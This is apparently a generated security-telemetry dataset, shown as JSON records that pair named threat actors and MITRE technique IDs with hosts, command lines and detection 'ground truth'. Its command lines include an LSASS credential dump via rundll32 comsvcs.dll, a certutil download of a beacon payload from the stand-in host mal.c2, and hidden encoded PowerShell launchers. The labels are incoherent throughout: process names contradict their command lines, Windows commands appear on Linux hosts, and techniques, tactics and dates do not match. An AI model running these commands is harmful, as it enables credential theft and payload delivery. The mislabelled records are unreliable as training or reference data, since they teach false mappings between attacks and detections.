text
stringlengths
1.13k
1.33k
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Credential Access","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260523T083801000Z_0000401","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.155.95.125","name":"AZURE-VM-9VSF0L7I85","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"401APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.64.154.238","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2834 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-04-25T05:18:34.000Z","user":{"name":"svc_v07xv5wfxohl","sid":"S-1-5-21-365239892-453471727-6534"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20251228T232355000Z_0000403","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.16.246.220","name":"DB-ORACLE-NRQC9JXTSW","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"403FIN7T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.102.109.97","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-04T23:29:55.000Z","user":{"name":"CORP\\7cx0qxqtznhy","sid":"S-1-5-21-559075406-286175884-6388"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Exfiltration","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20260402T161900000Z_0000405","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.193.4.210","name":"EC2-INST-MHAOLNEW4C","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"405Mustang PandaT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.179.195.207","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-04-17T17:25:51.000Z","user":{"name":"arn:aws:iam::elnjcytk77pv","sid":"S-1-5-21-748173202-547995252-4758"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250304T012605000Z_0000407","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.16.115.9","name":"APP-WEB-5GFY20F79L","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"407Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.125.152.194","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-07T18:50:20.000Z","user":{"name":"CORP\\wm9mdj8br5tt","sid":"S-1-5-21-753615617-505501018-9674"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Impact","Collection","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260927T134935000Z_0000409","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.124.133.6","name":"EC2-INST-T31ASY9PSC","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"409APT29T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.38.136.30","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-06-11T07:58:47.000Z","user":{"name":"arn:aws:iam::28d567gbvauz","sid":"S-1-5-21-717964142-387939409-8793"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260830T132809000Z_0000411","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.105.192.103","name":"WIN-FIN-SRV-449I9S2DTQ","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"411Lapsus$T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.33.112.211","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1395 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-08T21:17:50.000Z","user":{"name":"azuread\\1qtqmxsrm96l","sid":"S-1-5-21-626736967-622702920-7877"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20261208T215657000Z_0000413","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.95.199.48","name":"EC2-INST-1IJ1RILEQQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"413Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.116.222.193","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1458 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-02-22T14:42:59.000Z","user":{"name":"CORP\\6r2zed06e8dm","sid":"S-1-5-21-261105869-900246829-1331"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20251107T103754000Z_0000415","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.51.204.75","name":"IAM-ROLE-LO056S2VEY","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"415APT41T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.93.246.186","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1838 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-12-11T01:30:49.000Z","user":{"name":"arn:aws:iam::aed2dyj2xprm","sid":"S-1-5-21-590763531-263878667-6096"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20260915T051639000Z_0000417","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.167.158.73","name":"IAM-ROLE-XLP6N56EJ0","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"417Mustang PandaT1003.001"},"network":{"domain":"github.com","dst_ip":"1.184.186.228","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3577 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-11T15:03:08.000Z","user":{"name":"azuread\\zmx60mpv8f6x","sid":"S-1-5-21-573186552-895002985-9739"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Impact"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20260801T035518000Z_0000419","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.170.37.141","name":"WIN-FIN-SRV-LT0SXGSDGN","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"419APT29T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.2.236.175","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2877 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-26T20:24:04.000Z","user":{"name":"arn:aws:iam::ast0kbj0ac52","sid":"S-1-5-21-503321482-475860816-2572"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Persistence","Impact","Execution"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250622T074352000Z_0000421","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.24.152.61","name":"APP-WEB-1RUU2UUBI7","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"421APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.82.205.132","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-30T14:29:59.000Z","user":{"name":"azuread\\bdkb0wn1emtg","sid":"S-1-5-21-427786699-902945108-5262"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Initial Access","Collection","Defense Evasion"],"technique_id":"T1531"},"event_id":"evt_apt29_20260426T220154000Z_0000423","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.24.115.244","name":"IAM-ROLE-7ZPEO2QSBG","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"423APT29T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.130.46.253","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-12T12:22:39.000Z","user":{"name":"CORP\\iok3n1vqgr05","sid":"S-1-5-21-834560547-796316379-4752"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Command and Control","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20251127T044952000Z_0000425","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.219.130.55","name":"EC2-INST-TEWRBAHD0R","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"425Lapsus$T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.84.144.176","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-26T22:02:51.000Z","user":{"name":"i-2gs3xolrkal1","sid":"S-1-5-21-535334690-163495099-3588"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20260610T041940000Z_0000427","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.6.112.33","name":"APP-WEB-9M8RI3TCLJ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"427APT29T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.48.180.251","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1356 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-12T11:49:27.000Z","user":{"name":"i-o5pa3hjguba3","sid":"S-1-5-21-825001686-694297636-5035"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Initial Access"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20251208T074731000Z_0000429","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.172.153.176","name":"WIN-FIN-SRV-O84BMP56HS","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"429Volt TyphoonT1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.182.244.137","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3665 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-15T01:10:39.000Z","user":{"name":"arn:aws:iam::t2v7rpv0zdmx","sid":"S-1-5-21-855936676-304210870-9273"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20261031T222734000Z_0000431","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.117.81.20","name":"IAM-ROLE-QYO0GQW74S","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"431Mustang PandaT1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.147.248.56","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-13T16:59:06.000Z","user":{"name":"azuread\\y2pralfw8fmc","sid":"S-1-5-21-856322487-658989804-4253"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Initial Access"],"technique_id":"T1531"},"event_id":"evt_fin7_20261106T233251000Z_0000433","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.134.232.91","name":"IAM-ROLE-ZON1MX2KH9","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"433FIN7T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.82.163.47","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 541 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-12T09:35:46.000Z","user":{"name":"i-o9jeywiu2s7r","sid":"S-1-5-21-957913902-440479515-6731"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Reconnaissance","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20260323T072812000Z_0000435","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.228.194.45","name":"EC2-INST-2NGIZDRISZ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"435APT41T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.117.46.2","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-20T13:01:33.000Z","user":{"name":"azuread\\0a4m6mpogcru","sid":"S-1-5-21-801603346-327604345-9742"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Command and Control","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20250727T213859000Z_0000437","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.232.9.170","name":"IAM-ROLE-ZQ9S6TL5X3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"437Volt TyphoonT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.124.11.196","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-04T15:19:41.000Z","user":{"name":"CORP\\ixbbuariovy4","sid":"S-1-5-21-841739723-669382929-5463"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement","Collection","Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250715T200144000Z_0000439","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.233.59.24","name":"APP-WEB-434RA12LCM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"439Volt TyphoonT1484.001"},"network":{"domain":"github.com","dst_ip":"1.14.83.33","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-08-05T14:49:49.000Z","user":{"name":"CORP\\k0rb6invv4j0","sid":"S-1-5-21-584539037-891598030-3647"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20250619T162139000Z_0000441","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.168.110.68","name":"IAM-ROLE-Z66HW7H17K","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"441UNC4841T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.166.99.166","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1110 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-03-17T18:44:18.000Z","user":{"name":"i-icx7jwj0bu9o","sid":"S-1-5-21-922892463-483026857-2848"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250622T025025000Z_0000443","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.113.159.128","name":"DB-ORACLE-CVFAISKPU7","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"443Scattered SpiderT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.106.101.166","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2327 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-22T06:08:59.000Z","user":{"name":"arn:aws:iam::0n97maq4wfdx","sid":"S-1-5-21-581482551-751887618-3308"}}
